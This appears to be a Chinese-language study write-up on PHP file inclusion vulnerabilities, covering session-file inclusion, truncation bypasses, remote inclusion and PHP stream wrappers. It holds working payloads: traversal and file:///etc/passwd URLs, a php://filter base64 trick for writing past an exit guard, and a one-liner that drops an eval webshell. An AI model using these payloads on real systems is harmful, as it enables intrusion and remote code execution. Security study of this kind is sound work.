文件包含

文件包含

文件包含函数
    require()

    require_once()

    include()

    include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 <?php $filename = $_GET['filename']; include($filename); ?> 这是第一段代码。在这段代码当中我们可以利用目录遍历漏洞获取其他文件内容,配合文件上传漏洞从而进行代码利用.

http://192.168.3.6/1.php?filename=../../../ReadMe.txt
session文件包含

D:phpstudy_proExtensions mp mp这里是默认的文件位置。
linux下默认存储在/var/lib/php/session
<?php session_start(); $ctfs=$_GET['ctfs']; $_SESSION["username"]=$ctfs; ?>具体代码
http://192.168.3.6/1.php?ctfs=<?php phpinfo();?>这时我们在文件的当中查看

dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"4b3f3405d7edad9cb3719016a8b3256b";09ce75f7751fb9c5b1a4d2d47d47ea5e|b:1;username|s:18:"<?php phpinfo();?>";

可以看见在最后是被写入了我们的php代码。

限制本地文件

<?php $filename = $_GET['filename']; include($filename . ".html"); ?> https://www.freebuf.com/articles/web/182280.html
以上都是有条件的,例如: %00截断:magicquotesgpc = Off php版本<5.3.4
路径长度截断:条件:windows OS,点号需要长于256;linux OS 长于4096
例如:http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/././././下面的忽略了。
点号截断:条件:条件:windows OS,点号需要长于256。

远程文件包含

条件:
allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)
此时:http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.3.6/test.txt
如果有限制的话:
<?php include($_GET['filename'] . ".html"); ?>此时文件添加了html后缀
绕过:添加注释符%23即#号,%20空格号,%3f即?号

PHP伪协议

思来想去尽管很懒还是要总结一下php的伪协议,感觉挺重要的对于文件包含。

可用过滤器列表
字符串过滤器
string.strip_tags
转换过滤器
压缩过滤器
加密过滤器
php://file
php://filter

需要我们开启条件:allowurlfopen。
元封装器,对传送进来的数据进行选择过滤,对本地磁盘文件进行读写。
用法:?filename=php://filter/read=convert.base64-encode/resource=xxx.php。
一下的函数能够帮助我们过滤变量传递进来的参数

filter_has_var() 	 检查是否存在指定输入类型的变量。 
filter_id() 	     返回指定过滤器的 ID 号。 	
filter_input() 	     从脚本外部获取输入,并进行过滤。 	
filter_input_array() 从脚本外部获取多项输入,并进行过滤。 	
filter_list() 	     返回包含所有得到支持的过滤器的一个数组。 	
filter_var_array() 	 获取多项变量,并进行过滤。 	
filter_var() 	     获取一个变量,并进行过滤。 	

过滤器:

FILTER_CALLBACK 	          调用用户自定义函数来过滤数据。
FILTER_SANITIZE_STRING 	      去除标签,去除或编码特殊字符。
FILTER_SANITIZE_STRIPPED 	  "string" 过滤器的别名。
FILTER_SANITIZE_ENCODED 	  URL-encode 字符串,去除或编码特殊字符。
FILTER_SANITIZE_SPECIAL_CHARS HTML 转义字符 '"<>& 以及 ASCII 值小于 32 的字符。
FILTER_SANITIZE_EMAIL 	      删除所有字符,除了字母、数字以及 !#$%&'*+-/=?^_`{|}~@.[]
FILTER_SANITIZE_URL 	      删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=
FILTER_SANITIZE_NUMBER_INT 	  删除所有字符,除了数字和 +-
FILTER_SANITIZE_NUMBER_FLOAT  删除所有字符,除了数字、+- 以及 .,eE。
FILTER_SANITIZE_MAGIC_QUOTES  应用 addslashes()。
FILTER_UNSAFE_RAW 	          不进行任何过滤,去除或编码特殊字符。
FILTER_VALIDATE_INT 	      在指定的范围以整数验证值。
FILTER_VALIDATE_BOOLEAN 	  如果是 "1", "true", "on" 以及 "yes",则返回 true,如果是 "0", "false", "off", "no" 以及 "",则返回 false。否则返回 NULL。
FILTER_VALIDATE_FLOAT 	      以浮点数验证值。
FILTER_VALIDATE_REGEXP 	      根据 regexp,兼容 Perl 的正则表达式来验证值。
FILTER_VALIDATE_URL 	      把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL 	      把值作为 e-mail 来验证。
FILTER_VALIDATE_IP            把值作为 IP 地址来验证。

php过滤的一个例子:

array
 (
 "min_range"=>0,
 "max_range"=>256
 )
);

if(!filter_var($var, FILTER_VALIDATE_INT, $int_options))
 {
 echo("Integer is not valid");
 }
else
 {
 echo("Integer is valid");
 }
?>
名称描述备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。  

所以这个payload的行为?filename=php://filter/read=convert.base64-encode/resource=xxx.php。是让我们通过base64加密读取文件,并且绕过了过滤。 这个更深的原理我个人是这么认为的,我们读入文件的时候先对这个文件进行了编码转换为base64,所以此时进行过滤过滤器就认为没有需要过滤的了就放行了。 应用:在XXE中,我们可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。

一段代码,利用文件包含写shell

';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

同样的我们也可以反向写入webshell,利用php://filter/read=convert.base64-decode/resource=xxx.php
<?php exit;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell。这部分是因为当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。

这里的部分我的复现如下 我们在
phpexitabbbbJTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQiUyMCUzRiUzRQ==
添加了四个bbbb解码为如下:
¦^Æ+Zm¶Û<?php phpinfo(); ?>
但是只添加了三个bbb解码就是:
¦^Æ+Zm¶ÉLÐÉLќ LŒ[™›ÉLŽ LŽILЉLŒ LщLÑD

这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了,最后转换成的编码也就是phpexitaJTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQiUyMCUzRiUzRQ==这部分编码解码后也就是¦^Æ+Z<?php phpinfo(); ?>

[](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)

php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input

文件上传写入shell,测试代码: <?php $filename = $_GET['filename']; include($filename); ?>
条件:php配置文件中需同时开启 allowurlfopen 和 allowurlinclude(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>上传一下ok了

命令执行: <?php $filename = $_GET['filename']; include($filename); ?>
条件:php配置文件中需同时开启 allowurlfopen 和 allowurlinclude(PHP < 5.30),就可以造成任意代码执行。
注意:enctype=”multipart/form-data” 的时候 php://input 是无效的。

file://

专门用于访问本地文件系统和php://filter类似都可以对本地文件进行读取
用法:file=file://文件的绝对路径
例如:file=file:///etc/passwd

phar://

phar:// 支持zip、phar格式的文件包含。 利用条件:php >= 5.3.0 用法:?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]

zip://

zip协议和phar协议类似,都支持相对路径和绝对路径,在php version 5.2.9时已经修复zip://相对路径问题。
使用zip协议,需将#编码为%23(浏览器时)
利用条件:php >= 5.2(绝对路径) | php >= 5.29(相对/绝对路径)

具体实例:
index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png%23head.txt
index.php?file=zip://head.png%23head.txt

原文地址:https://www.cnblogs.com/ophxc/p/12853645.html